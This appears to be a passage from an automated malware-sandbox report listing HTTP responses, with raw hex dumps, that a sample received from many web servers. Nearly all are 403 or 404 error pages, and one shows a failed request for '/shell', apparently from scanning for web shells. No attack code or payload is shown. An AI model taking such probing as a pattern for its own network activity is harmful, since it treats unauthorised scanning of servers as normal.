Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:27 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:01:27 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:28 GMTContent-Type: text/htmlContent-Length: 150Connection: keep-aliveX-DNSBL: ScannersData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:28 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:28 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:29 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 14 Apr 2024 02:01:32 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkeddate: Sun, 14 Apr 2024 02:01:33 GMTserver: LiteSpeedData Raw: 32 37 36 66 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:33 GMTServer: ApacheVary: Accept-EncodingContent-Length: 203Keep-Alive: timeout=15, max=300Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:01:34 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: ZTE web server 1.0 ZTE corp 2015.Accept-Ranges: bytesConnection: closeX-Frame-Options: SAMEORIGINContent-Type: text/html; charset=iso-8859-1X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-Security-Policy: frame-ancestors 'self' data:Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 73 70 61 6e 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 73 70 61 6e 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:36 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:36 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:01:36 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 